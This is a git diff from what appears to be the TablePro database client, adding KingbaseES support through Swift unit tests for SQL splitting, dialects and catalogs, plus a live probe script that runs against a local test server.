- #expect(snapshot.schema.systemSchemaNames.contains("sys_catalog")) + #expect(snapshot.schema.systemSchemaNames == PluginMetadataRegistry.kingbaseESSystemSchemaNames) #expect(snapshot.capabilities.supportsSchemaSwitching) #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"]) } + @Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"]) func connectionURLs(scheme: String) throws { let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get() diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift index ab35bb55f5..e5d6ddaacd 100644 --- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift @@ -7,7 +7,7 @@ import Testing struct PluginMetadataRegistryTypeCountTests { private static let expectedTypeIds: Set = [ "Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL", - "KingbaseES", "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", + "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", "KingbaseES", "libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift", "SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB", "Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable" diff --git a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift index 8414620d22..b7afd70ee6 100644 --- a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift +++ b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift @@ -60,6 +60,15 @@ struct PostgreSQLDashboardProviderTests { #expect(try catalog(for: .cockroachdb, serverVersion: "13.0.0") == .current) } + // KingbaseES V9R1C10 reports server_version 12.1 in both modes and answers all five metrics. + @Test("KingbaseES reads the current catalog and every metric") + func kingbaseReadsCurrentCatalog() throws { + let provider = ServerDashboardQueryProviderFactory.provider(for: .kingbasees, serverVersion: "12.1") + let postgres = try #require(provider as? PostgreSQLDashboardProvider) + #expect(postgres.activityCatalog == .current) + #expect(postgres.metricSet == .full) + } + @Test("Redshift never names a pg_stat_activity column that arrived after PostgreSQL 8.0") func redshiftAsksOnlyForItsColumns() async throws { let provider = try #require( diff --git a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift index dd219bb1c1..7cfbc7f656 100644 --- a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift +++ b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift @@ -33,7 +33,8 @@ struct ServerDashboardQueryProviderFactoryTests { @Test("Server engines each have one") func serverEnginesHaveOne() { let types: [DatabaseType] = [ - .postgresql, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, .redis, + .postgresql, .kingbasees, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, + .redis, ] for type in types { #expect(ServerDashboardQueryProviderFactory.supportsDashboard(for: type), "\(type.rawValue)") diff --git a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift index 93fa022209..b1184108b9 100644 --- a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift +++ b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift @@ -10,7 +10,7 @@ import Testing struct TransactionEngineFamilyTests { @Test( "Every PostgreSQL-compatible engine reads the PostgreSQL rules", - arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum"] + arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum", "KingbaseES"] ) func postgresCompatibles(typeId: String) { #expect(TransactionEngineFamily.of(DatabaseType(rawValue: typeId)) == .postgres) diff --git a/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift new file mode 100644 index 0000000000..2caffa8b17 --- /dev/null +++ b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift @@ -0,0 +1,112 @@ +// +// ImportServiceSessionGrammarTests.swift +// TableProTests +// +// A SQL file is split the way the connection's session lexes, so a KingbaseES cluster in Oracle mode gets a +// PL/SQL block whole and its `/` line is never sent. +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +private final class SessionGrammarDriver: PluginDriverStub, @unchecked Sendable { + let sessionLexicalState: PluginSessionLexicalState? + private let lock = NSLock() + private var executed: [String] = [] + + init(sessionLexicalState: PluginSessionLexicalState?) { + self.sessionLexicalState = sessionLexicalState + } + + var statements: [String] { + lock.withLock { executed } + } + + func execute(query: String) async throws -> PluginQueryResult { + lock.withLock { executed.append(query) } + return .empty + } +} + +/// Sends every statement the source reads, as the SQL import does. +private final class ForwardingImportPlugin: ImportFormatPlugin { + static let pluginName = "Forwarding Import" + static let pluginVersion = "1.0" + static let pluginDescription = "An import format that sends each statement its source reads" + static let formatId = "tablepro-tests-forwarding-import" + static let formatDisplayName = "Forwarding" + static let acceptedFileExtensions = ["sql"] + static let iconName = "doc" + static let requiresTargetTable = false + + required init() {} + + func performImport( + source: any PluginImportSource, + sink: any PluginImportDataSink, + progress: PluginImportProgress + ) async throws -> PluginImportResult { + var count = 0 + for try await (statement, line) in try await source.statements() { + try await sink.execute(statement: statement, line: line) + count += 1 + } + return PluginImportResult(executedStatements: count, executionTime: 0) + } +} + +private actor DiscardingHistory: QueryHistoryRecording { + func record(_ request: QueryHistoryRecordRequest) async -> Bool { true } +} + +@MainActor +struct ImportServiceSessionGrammarTests { + private static let file = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;\n" + + private func importFile(on driver: SessionGrammarDriver) async throws -> [String] { + let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees) + var session = ConnectionSession( + connection: connection, + driver: PluginDriverAdapter(connection: connection, pluginDriver: driver) + ) + session.browseDatabase = "app" + session.status = .connected + DatabaseManager.shared.injectSession(session, for: connection.id) + defer { DatabaseManager.shared.removeSession(for: connection.id) } + + let formatId = "\(ForwardingImportPlugin.formatId)-\(UUID().uuidString)" + PluginManager.shared.importPlugins[formatId] = ForwardingImportPlugin() + defer { PluginManager.shared.importPlugins[formatId] = nil } + + let url = FileManager.default.temporaryDirectory + .appendingPathComponent("session-grammar-import-\(UUID().uuidString)") + .appendingPathExtension("sql") + try Data(Self.file.utf8).write(to: url) + defer { try? FileManager.default.removeItem(at: url) } + + let service = ImportService(connection: connection, historyRecorder: DiscardingHistory(), gate: AlwaysAllowGate()) + _ = try await service.importFile( + from: url, + formatId: formatId, + encoding: .utf8, + scope: DatabaseScope(connectionId: connection.id, database: "app", schema: nil) + ) + return driver.statements + } + + @Test("An Oracle-mode session gets a PL/SQL block whole, and the / line that ends it is not sent") + func oracleModeSessionKeepsTheBlockWhole() async throws { + let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: TestGrammar.kingbaseESOracleSession)) + + #expect(sent == ["BEGIN x := 1; y := 2; END;", "SELECT 2"]) + } + + @Test("Without a session that says otherwise the file splits as PostgreSQL does") + func defaultGrammarSplitsAtEverySemicolon() async throws { + let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: nil)) + + #expect(sent.first == "BEGIN x := 1") + } +} diff --git a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift index 1d73d38f74..df0a3ef6c1 100644 --- a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift +++ b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift @@ -47,6 +47,7 @@ struct ExplainPlanFormatResolutionTests { @Test("A database type the app knows resolves a format even when the variant declares none") func fallsBackToCuratedDefault() { #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .pglite) == .postgresJson) + #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .kingbasees) == .postgresJson) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .cloudflareD1) == .sqliteQueryPlan) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .libsql) == .sqliteQueryPlan) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .turso) == .sqliteQueryPlan) diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift index 0bced6ceb1..ca7150c587 100644 --- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift @@ -142,6 +142,16 @@ struct CatalogChangeClassifierTests { #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .postgresql) == .none) } + @Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start") + func oracleModeBlockIsOpaque() { + let sql = "BEGIN staging_pkg.create_tables(1); END;" + #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees).kinds.isEmpty) + #expect( + CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) + .kinds == .everything + ) + } + @Test("a script reports the union of its statements") func scriptsUnionTheirStatements() { let effect = CatalogChangeClassifier.effect( diff --git a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift index bd120a5f26..8cad388375 100644 --- a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift @@ -238,6 +238,7 @@ struct QueryClassifierLexicalTests { (DatabaseType.snowflake, "SELECT SYSTEM$ABORT_SESSION(1)"), (DatabaseType.teradata, "SELECT SYSLIB.AbortSessions(1, 'u', 0, 'Y', 'Y')"), (DatabaseType.oracle, "SELECT orders_seq.NEXTVAL FROM DUAL"), + (DatabaseType.kingbasees, "SELECT orders_seq.NEXTVAL FROM DUAL"), (DatabaseType.sapHana, "SELECT MY_SEQ.NEXTVAL FROM DUMMY"), (DatabaseType.snowflake, "SELECT orders_seq.nextval"), (DatabaseType.mssql, "SELECT NEXT VALUE FOR dbo.orders_seq"), diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift index 793ba35443..b8a2b9bd29 100644 --- a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift @@ -72,6 +72,15 @@ struct SQLScriptTextTests { #expect(Self.dameng.sendableStatements(text) == [text]) } + @Test("A KingbaseES Oracle-mode session sends a block whole, where the engine's default cuts it at each ;") + func sessionGrammarKeepsABlockWhole() { + let text = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;" + let session = SQLScriptText(databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) + + #expect(session.sendableStatements(text) == ["BEGIN x := 1; y := 2; END;", "SELECT 2"]) + #expect(SQLScriptText(databaseType: .kingbasees).sendableStatements(text).first == "BEGIN x := 1") + } + @Test("Nothing but blanks sends nothing") func blankTextSendsNothing() { #expect(Self.oracle.sendableStatements(" \n ").isEmpty) diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift index cd228d6da4..b5df30bfd0 100644 --- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift +++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift @@ -633,6 +633,7 @@ struct SQLRowToStatementConverterTests { ) #expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';") } + @Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes") func kingbaseBinaryStatements() throws { let converter = try makeConverter( @@ -647,4 +648,16 @@ struct SQLRowToStatementConverterTests { } } + // X'..' is a bit-string literal, which a bytea column refuses. + @Test("PGlite copies binary values as bytea, not as a bit string") + func pgliteBinaryStatements() throws { + let converter = try makeConverter( + tableName: "documents", columns: ["id", "payload"], + databaseType: .pglite, dialect: Self.postgresDialect + ) + let rows = plain([[.text("1"), .bytes(Data([0xDE, 0xAD]))]]) + #expect(converter.generateInserts(rows: rows).contains("'\\xDEAD'::bytea")) + #expect(converter.generateUpdates(rows: rows).contains("\"payload\" = '\\xDEAD'::bytea")) + #expect(!converter.generateInserts(rows: rows).contains("X'DEAD'")) + } } diff --git a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift index 44885110b8..3c5783a2dd 100644 --- a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift +++ b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift @@ -16,6 +16,7 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable { } let connection: DatabaseConnection + let sessionLexicalState: PluginSessionLexicalState? var status: ConnectionStatus = .connected var serverVersion: String? { nil } @@ -38,9 +39,11 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable { sendsBatchesWhole: Bool = true, transactionState: PluginSessionTransactionState = .idle, transactionStateAfterBatches: PluginSessionTransactionState? = nil, + sessionLexicalState: PluginSessionLexicalState? = nil, answer: @escaping @Sendable (String) -> QueryBatchResult = { _ in .empty } ) { self.connection = connection + self.sessionLexicalState = sessionLexicalState self.sendsBatchesWhole = sendsBatchesWhole self.transactionState = transactionState self.transactionStateAfterBatches = transactionStateAfterBatches diff --git a/apple/TableProTests/Helpers/TestGrammar.swift b/apple/TableProTests/Helpers/TestGrammar.swift index 1cfd3391ba..f537d2fc22 100644 --- a/apple/TableProTests/Helpers/TestGrammar.swift +++ b/apple/TableProTests/Helpers/TestGrammar.swift @@ -4,6 +4,7 @@ // @testable import TablePro +import TableProPluginKit import TableProSQLGrammar /// The grammar each engine family a test names is split with, taken from the app's own resolver so a test reads @@ -17,6 +18,18 @@ enum TestGrammar { static let sqlServer = DatabaseType.mssql.lexicalGrammar static let snowflake = DatabaseType.snowflake.lexicalGrammar static let standard = SQLLexicalGrammar.ansi + + /// What the KingbaseES driver reports for a cluster initialized in Oracle mode. + static let kingbaseESOracleSession = PluginSessionLexicalState( + determined: [ + .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers, + .backslashEscapesInSingleQuotes, + ], + enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers] + ) + static let kingbaseESOracle = SQLLexicalResolver.readings( + for: .kingbasees, session: kingbaseESOracleSession + ).execution } /// A statement split with no engine named is standard SQL, which is what a test that does not care about an engine's diff --git a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift index ccc1787a90..94c7a1d481 100644 --- a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift +++ b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift @@ -45,6 +45,7 @@ struct ColumnDefaultVocabularyTests { func emptyStringOmittedOnOracleFamily() { #expect(!sqlValues(.oracle).contains("''")) #expect(!sqlValues(.dameng).contains("''")) + #expect(!sqlValues(.kingbasees).contains("''")) #expect(sqlValues(.mysql).contains("''")) #expect(sqlValues(.postgresql).contains("''")) } @@ -86,6 +87,8 @@ struct ColumnDefaultVocabularyTests { @Test("Engines that share a plugin still get their own vocabulary") func sharedPluginsDoNotShareVocabulary() { #expect(!sqlValues(.redshift).contains("gen_random_uuid()")) + #expect(!sqlValues(.kingbasees).contains("gen_random_uuid()")) + #expect(sqlValues(.kingbasees).contains("now()")) #expect(sqlValues(.cockroachdb).contains("unique_rowid()")) #expect(!sqlValues(.postgresql).contains("unique_rowid()")) #expect(sqlValues(.mysql) != sqlValues(.mariadb)) diff --git a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift index 3f10ad021e..aa51ee2b08 100644 --- a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift +++ b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift @@ -81,6 +81,13 @@ struct ForeignKeyDialectTests { } } + // Measured on KingbaseES V9R1C10: Oracle mode keeps PostgreSQL's ON UPDATE grammar. + @Test("KingbaseES takes PostgreSQL's clause in both modes") + func kingbasees() { + #expect(ForeignKeyDialect.forType(.kingbasees) == ForeignKeyDialect.forType(.postgresql)) + #expect(ForeignKeyDialect.forType(.kingbasees).allowsOmittedReferencedColumns) + } + @Test("an engine nobody has checked keeps the full vocabulary") func unknownEngine() { let dialect = ForeignKeyDialect.forType(DatabaseType(rawValue: "SomeFuturePlugin")) diff --git a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift index 6a381aad7f..d270733b9b 100644 --- a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift +++ b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift @@ -130,7 +130,7 @@ struct IndexKeyListTests { @Test("Engines that write an expression key take one; the rest take column names") func dialectPerEngine() { - for type in [DatabaseType.postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] { + for type in [DatabaseType.postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] { #expect(IndexKeyDialect.forType(type) == IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true)) } #expect(IndexKeyDialect.forType(.mysql) == IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true)) diff --git a/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift new file mode 100644 index 0000000000..6075433376 --- /dev/null +++ b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift @@ -0,0 +1,80 @@ +// +// SQLEditorSessionGrammarTests.swift +// TableProTests +// +// The editor's run controls split with the connection's session grammar, which is only known once the driver has +// connected, and a reconnect or a `SET` can change it while the editor stays open. +// + +import AppKit +import Foundation +import SwiftUI +@testable import TablePro +import TableProEditorKit +import TableProPluginKit +import TableProTestSupport +import TableProTextEngine +import Testing + +@MainActor +struct SQLEditorSessionGrammarTests { + private final class Model { + var text = "BEGIN\n x := 1;\n y := 2;\nEND;\n/\nSELECT 2;" + var cursorPositions: [CursorPosition] = [] + var ran: [String] = [] + } + + private func runStatementAtCaret(in editor: SQLEditorController, model: Model) -> String? { + let caret = (model.text as NSString).range(of: "y := 2").location + editor.textViewController.setCursorPositions([CursorPosition(range: NSRange(location: caret, length: 0))]) + editor.coordinator.runStatementAtCursorAndAdvance() + return model.ran.popLast() + } + + @Test("Run Statement takes the whole block once the session reports Oracle mode") + func runStatementFollowsTheSession() async throws { + let model = Model() + let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees) + let editor = SQLEditorController(input: SQLEditorInput( + text: Binding(get: { model.text }, set: { model.text = $0 }), + cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }), + databaseType: .kingbasees, + connectionId: connection.id, + onRunStatement: { sql, _ in + model.ran.append(sql) + return false + } + )) + defer { editor.teardown() } + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 600, height: 400), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + window.contentView = editor.textViewController.view + defer { window.orderOut(nil) } + let textView = try #require(editor.textViewController.textView) + try await waitUntil { + window.contentView?.layoutSubtreeIfNeeded() + return textView.window != nil + } + + #expect(runStatementAtCaret(in: editor, model: model) == "y := 2;") + + let driver = ScriptAnsweringDriver( + connection: connection, + sessionLexicalState: TestGrammar.kingbaseESOracleSession + ) + var session = ConnectionSession(connection: connection) + session.driver = driver + DatabaseManager.shared.injectSession(session, for: connection.id) + defer { DatabaseManager.shared.removeSession(for: connection.id) } + try await waitUntil { editor.coordinator.lexicalGrammar == TestGrammar.kingbaseESOracle } + + let block = try #require(runStatementAtCaret(in: editor, model: model)) + #expect(block.hasPrefix("BEGIN\n x := 1;\n y := 2;\nEND")) + #expect(!block.contains("/")) + } +} diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh index 90be45414b..8594adadf8 100755 --- a/apple/scripts/probes/check-kingbasees.sh +++ b/apple/scripts/probes/check-kingbasees.sh @@ -34,8 +34,6 @@ let package = Package( "CLibPQ", .product(name: "TableProPluginKit", package: "TableProCore"), .product(name: "TableProCoreTypes", package: "TableProCore"), - .product(name: "TableProQuery", package: "TableProCore"), - .product(name: "TableProModels", package: "TableProCore"), .product(name: "TableProKerberos", package: "TableProCore"), .product(name: "TableProPostgreSQLCore", package: "TableProCore"), .product(name: "TableProSQLVocabulary", package: "TableProCore"), diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift index 9d21ce75e2..1e680a45e8 100644 --- a/apple/scripts/probes/kingbasees-probe.swift +++ b/apple/scripts/probes/kingbasees-probe.swift @@ -1,8 +1,5 @@ import Foundation -import TableProCoreTypes -import TableProModels import TableProPluginKit -import TableProQuery import TableProSQLGrammar @main @@ -32,26 +29,6 @@ struct KingbaseESProbe { exit(probe.failed == 0 ? 0 : 1) } - static func generatedFiltersMatch(driver: any PluginDatabaseDriver, table: String) async throws -> Bool { - guard let dialect = KingbaseESPlugin.sqlDialect else { return false } - let generator = FilterSQLGenerator( - dialect: dialect, databaseType: DatabaseType(rawValue: "KingbaseES") - ) - let columns = [ - ColumnInfo(name: "flag", typeName: "bool"), - ColumnInfo(name: "amount", typeName: "numeric(12,2)") - ] - let clause = generator.generateWhereClause( - from: [ - TableFilter(columnName: "flag", value: "1"), - TableFilter(columnName: "amount", value: "1234.50") - ], logicMode: .and, columns: columns - ) - print("Generated filter: \(clause)") - guard clause == "WHERE \"flag\" = '1' AND \"amount\" = '1234.50'" else { return false } - return try await driver.execute(query: "SELECT id FROM \(table) \(clause)").rows == [[.text("1")]] - } - static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool { let result = try await driver.executeUserQuery( query: "SELECT $1::bigint AS imported_integer", rowCap: nil, @@ -60,30 +37,24 @@ struct KingbaseESProbe { return result.rows == [[.text("2147483648")]] } - mutating func run() async { - let env = ProcessInfo.processInfo.environment - let database = env["TP_KINGBASE_DATABASE"] ?? "test" - let config = DriverConnectionConfig( - host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1", - port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432, - username: env["TP_KINGBASE_USER"] ?? "system", - password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database - ) - let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config) - defer { driver.disconnect() } - do { try await driver.connect() } catch { - failed += 1 - print("FAIL connect: \(error)") - return - } - let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText + mutating func checkSession(driver: any PluginDatabaseDriver, mode: String?) async { await check("session facts through protocol witness") { let result = try await driver.execute(query: "SELECT current_setting('database_mode')") let mode = result.rows.first?.first?.asText print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")") guard let facts = driver.sessionLexicalState else { return false } - return facts.determined.contains(.alternativeQuoting) - && facts.enabled.contains(.alternativeQuoting) == (mode == "oracle") + let oracleFeatures = KingbaseESCompatibilityMode.lexicalFeaturesItDecides + return facts.determined.isSuperset(of: oracleFeatures) + && facts.enabled.intersection(oracleFeatures) == (mode == "oracle" ? oracleFeatures : []) + } + await check("mode probe reads pg or oracle") { + let setting = try await driver.execute(query: KingbaseESCompatibilityMode.probeQuery).rows.first?.first?.asText + let expected: KingbaseESCompatibilityMode? = switch mode { + case "pg": .postgreSQL + case "oracle": .oracle + default: nil + } + return try KingbaseESCompatibilityMode(setting: setting) == expected } await check("mode-aware grammar splits and executes quoted semicolons") { guard let facts = driver.sessionLexicalState else { return false } @@ -105,6 +76,67 @@ struct KingbaseESProbe { } return true } + } + + // Each column kind and the DESC index here lost its catalog spelling once Oracle mode read `''` as NULL. + mutating func checkKeyedTable(driver: any PluginDatabaseDriver, schema: String) async throws { + _ = try await driver.execute(query: "CREATE TABLE \(schema).keyed (id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY, s serial, n integer NOT NULL DEFAULT 7, title text, g integer GENERATED ALWAYS AS (n * 2) STORED)") + _ = try await driver.execute(query: "CREATE INDEX keyed_title_desc ON \(schema).keyed (title DESC NULLS LAST)") + _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('a')") + await check("index keeps its DESC spelling") { + let indexes = try await driver.fetchIndexes(table: "keyed", schema: schema) + let spelling = indexes.first { $0.name == "keyed_title_desc" }?.ddlMethodAndKeys + print("Index spelling: \(spelling ?? "nil")") + return spelling?.contains("(title DESC NULLS LAST)") == true + } + await check("identity, default and generation expression") { + let columns = try await driver.fetchColumns(table: "keyed", schema: schema) + let byName = Dictionary(uniqueKeysWithValues: columns.map { ($0.name, $0) }) + return byName["id"]?.isIdentity == true && byName["n"]?.defaultValue == "7" + && byName["g"]?.isGenerated == true && byName["g"]?.generationExpression == "(n * 2)" + } + await check("table DDL keeps column defaults") { + let ddl = try await driver.fetchTableDDL(table: "keyed", schema: schema) + return ddl.contains("DEFAULT 7") && ddl.contains("DEFAULT nextval(") + && ddl.contains("GENERATED ALWAYS AS IDENTITY") + } + await check("column reorder rebuild runs and keeps keys and defaults") { + guard let plan = try await driver.generateColumnReorderPlan( + table: "keyed", schema: schema, columns: [], desiredOrder: ["title", "id", "s", "n", "g"] + ) else { return false } + _ = try await driver.execute(query: "SAVEPOINT reorder") + do { + for statement in plan.statements { _ = try await driver.execute(query: statement) } + _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('b')") + let row = try await driver.execute(query: "SELECT id, s, n, g FROM \(schema).keyed WHERE title = 'b'") + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder") + return row.rows == [[.text("2"), .text("2"), .text("7"), .text("14")]] + } catch { + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder") + throw error + } + } + } + + mutating func run() async { + let env = ProcessInfo.processInfo.environment + let database = env["TP_KINGBASE_DATABASE"] ?? "test" + let config = DriverConnectionConfig( + host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1", + port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432, + username: env["TP_KINGBASE_USER"] ?? "system", + password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database + ) + let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config) + defer { driver.disconnect() } + await check("no session lexical state before connect") { driver.sessionLexicalState == nil } + do { try await driver.connect() } catch { + failed += 1 + print("FAIL connect: \(error)") + return + } + let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText + await checkSession(driver: driver, mode: mode) await check("database catalog") { try await driver.fetchDatabases().contains(database) } let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased() let table = "\(schema).sample" @@ -123,6 +155,7 @@ struct KingbaseESProbe { return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated } } await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 } + try await checkKeyedTable(driver: driver, schema: schema) await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 } await check("routine catalog and DDL") { let routines = try await driver.fetchRoutines(schema: schema) @@ -159,9 +192,6 @@ struct KingbaseESProbe { let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)") return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")] } - await check("generated boolean and numeric filters") { - try await Self.generatedFiltersMatch(driver: driver, table: table) - } await check("parameterized bigint beyond Int32 range") { try await Self.bigintMatches(driver: driver) } @@ -191,6 +221,7 @@ struct KingbaseESProbe { } await check("reconnect") { driver.disconnect() + guard driver.sessionLexicalState == nil else { return false } try await driver.connect() try await driver.ping() return true From dfbdb8c1ddce593031c3e82203a53c178eaa25b2 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Tue, 27 Oct 2026 17:43:14 +0700 Subject: [PATCH 6/6] fix(kingbasees): probe the mode inside the bounded connect and split quoted routine bodies in Oracle mode --- .../TableProSQLGrammar/PLSQLUnitTracker.swift | 11 ++++++++++ .../SQLStatementBoundaryTracking.swift | 13 +++++++++++- .../SQLStatementScanner.swift | 5 ++++- .../SQLLexicalReadingsTests.swift | 18 ++++++++++++++++ .../SQL/Folding/SQLFoldScanner.swift | 7 +++++-- .../SQL/SQLStateChangingFunctions.swift | 5 ++++- 